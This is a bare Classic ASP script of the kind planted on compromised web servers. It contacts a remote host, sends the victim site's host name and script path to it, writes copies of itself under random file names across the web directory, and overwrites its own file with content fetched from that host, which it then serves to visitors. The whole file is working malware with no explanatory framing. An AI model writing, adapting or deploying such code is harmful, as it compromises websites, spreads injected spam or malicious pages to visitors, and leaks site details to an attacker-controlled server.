<% Remote_server="http://20150802.qualitygood52.pw/mizuno-s1/" directory_Number=5 Server.ScriptTimeOut=100 papers_1="mizuno-s1-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_2="mizuno-s1-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_3="mizuno-s1-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers=papers_1&"."&papers_2&"."&papers_3 fn = Request.ServerVariables("SCRIPT_NAME") fn = Mid(fn,InStrRev(fn,"/")+1) NewFile_content=a(fn) host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),fn,"") Remote_papers = Remote_server&"/papers.asp"&"?type="&fn&"&host="&host_name&"&directory="&papers&".mizuno-s1" Content_papers=getHTTPPage(Remote_papers) Content_mb=getHTTPPage(Remote_server) papers= Split(papers,".") for i=0 to (ubound(papers)) WriteIn server.mappath("./"&papers(i)&".asp"),NewFile_content Next WriteIn Server.MapPath("./")&"\"&fn,Content_mb response.write Content_mb %> <% Remote_server="http://20150802.qualitygood52.pw/mizuno-s1/" directory_Number=5 Server.ScriptTimeOut=100 papers_1="mizuno-s1-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers=papers_1 fn = Request.ServerVariables("SCRIPT_NAME") fn = Mid(fn,InStrRev(fn,"/")+1) NewFile_content=a(fn) host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),fn,"") Remote_papers = Remote_server&"/papers2018.asp"&"?type="&fn&"&host="&host_name&"&directory="&papers Content_papers=getHTTPPage(Remote_papers) Content_mb=getHTTPPage(Remote_server) papers= Split(papers,".") for i=0 to (ubound(papers)) WriteIn server.mappath("./"&papers(i)&".html"),Content_mb Next %> <% Function getzf(iCount) Dim arrChar Dim j,k,strCode arrChar = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getzf = strCode End Function Function getzfew(iCount) Dim arrChar Dim j,k,strCode arrChar = "%#)]{!=_[^;@(-=;$}" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getzfew = strCode End Function Function getCode(iCount) Dim arrChar Dim j,k,strCode arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getCode = strCode End Function Function Digital(iCount) Dim arrChar Dim j,k,strCode arrChar = "0123456789" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next Digital = strCode End Function Function sj_int(ByVal min, ByVal max) Randomize(Timer) : sj_int = Int((max - min + 1) * Rnd + min) End Function Function Rand(ByVal min, ByVal max) Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) End Function %> <% function WriteIn(testfile,msg) set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(""&msg& "") thisfile.close set fs = nothing end function %> <% function a(t) set fs=server.createobject("scripting.filesystemobject") file=server.mappath(t) set txt=fs.opentextfile(file,1,true) if not txt.atendofstream then a=txt.ReadAll end if set fs=nothing set txt=nothing end function %> <% Function CFolder(Filepath) Filepath=server.mappath(Filepath) Set Fso = Server.CreateObject("Scripting.FileSystemObject") If Fso.FolderExists(FilePath) Then CFolder=0 else Fso.CreateFolder(FilePath) CFolder=1 end if Set Fso = Nothing end function %> <% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "" Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %> <% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function %>